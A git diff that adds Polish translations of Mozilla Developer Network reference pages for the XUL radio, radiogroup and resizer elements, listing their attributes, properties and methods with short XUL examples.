+ nazwa grupy jako łańcuch znaków</i>
+ &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dd>
+ <dd>
+ Przyciski z tą samą wartością atrybutu <code>group</code> należą do tej samej grupy. Tylko jeden przycisk z grupy może być zaznaczony w danej chwili. Jeśli użytkownik zaznaczy jeden z przycisków, inne z tej grupy zostaną odznaczone.</dd>
+</dl>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-selected">
+
+<dl>
+ <dt>
+ <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Sygnalizuje gdzie element jest zaznaczony lub nie. Ta wartość jest tylko do odczytu. Aby zmienić zaznaczenie, ustaw pozostałe własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code> stanowiące ten element.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-radioGroup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/radioGroup">radioGroup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></i>
+ </dd>
+ <dd>
+ Zwraca zamkniętą grupę (<code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code>) tak, że element <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code> jest zawarty wewnątrz, który może być lub nie być jego bezpośrednim rodzicem.</dd>
+</dl></div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>, <a href="pl/NsIDOMXULLabeledControlElement">nsIDOMXULLabeledControlElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/radiogroup/index.html b/files/pl/mozilla/tech/xul/radiogroup/index.html
new file mode 100644
index 0000000000..ec4489fc60
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/radiogroup/index.html
@@ -0,0 +1,221 @@
+---
+title: radiogroup
+slug: Mozilla/Tech/XUL/radiogroup
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/radiogroup
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Grupa przycisków opcji. Tylko jeden przycisk wewnątrz grupy może zostać zaznaczony w jednym czasie. Element przycisków <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code> możemy obie wersje bezpośrednich dzieci <code>radiogroup</code> lub potomków. Umieszczenie <code>radiogroup</code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code>, jeśli chcielibyśmy, tak jak obramowanie lub element <code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code> dla tej samej grupy. Domyślnie <code>radiogroup</code> posiada orientację pionową.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-focused">focused</a>, <a href="#a-preference">preference</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-disabled">disabled</a>, <a href="#p-focusedItem">focusedItem</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedItem">selectedItem</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-appendItem">appendItem</a>, <a href="#m-checkAdjacentElement">checkAdjacentElement</a>, <a href="#m-insertItemAt">insertItemAt</a>, <a href="#m-removeItemAt">removeItemAt</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_radios.png"></div>
+<pre>&lt;radiogroup&gt;
+ &lt;radio id="orange" label="Red"/&gt;
+ &lt;radio id="violet" label="Green" selected="true"/&gt;
+ &lt;radio id="yellow" label="Blue"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-focused">
+
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-focusedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/focusedItem">focusedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></i>
+ </dd>
+ <dd>
+ Podtrzymuje bieżącą aktywną pozycję <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code>, która może lub nie być tą samą zaznaczoną pozycją. Możemy zmienić aktywną pozycję poprzez ustawienie ten własności.</dd>
+</dl></div>
+<div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem( label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Tworzy nową pozycję i dodaje ją na koniec istniejącej listy pozycji. Opcjonalnie posiada ustawioną wartość. Funkcja zwraca nowo utworzony element. </dd></dl>
+<dl><dt> <span id="m-checkAdjacentElement"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/checkAdjacentElement">checkAdjacentElement( dir )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Odznacza aktualnie zaznaczony przycisk <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code> w grupie i zaznacza przyległy. Jeśli argument <var>dir</var> jest <code>true</code>, to następny przycisk opcji jest zaznaczony. Jeśli jest <code>false</code>, to zostanie poprzedni przycisk opcji zaznaczony.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt( index, label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Ta metoda tworzy nowy element listy i umieszcza go w określonej pozycji. Opcjonalnie można ustawić jego wartość. Nowy element jest zwracany.
+</dd></dl>
+<dl><dt> <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Usuwa pozycję potomną w elemencie o określonym indeksie. Metoda zwraca usuniętą pozycję.
+</dd></dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd><a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlElement">nsIDOMXULSelectControlElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/resizer/index.html b/files/pl/mozilla/tech/xul/resizer/index.html
new file mode 100644
index 0000000000..147d0af764
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/resizer/index.html
@@ -0,0 +1,114 @@
+---
+title: resizer
+slug: Mozilla/Tech/XUL/resizer
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/resizer
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element stosowany do zmiany rozmiaru okna. Możesz umieścić własny przycisk wewnątrz elementu resizer. Wówczas użytkownik będzie mógł zmienić rozmiar okna przeciągając za ten element. Element resizer wywoła zdarzenie command po każdej zmianie rozmiaru okna.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-resizer.dir">dir</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-resizer.dir">
+
+<dl><dt> <a href="pl/XUL/Atrybut/resizer.dir">dir</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek w którym zmienia się rozmiar okna. </dd></dl>
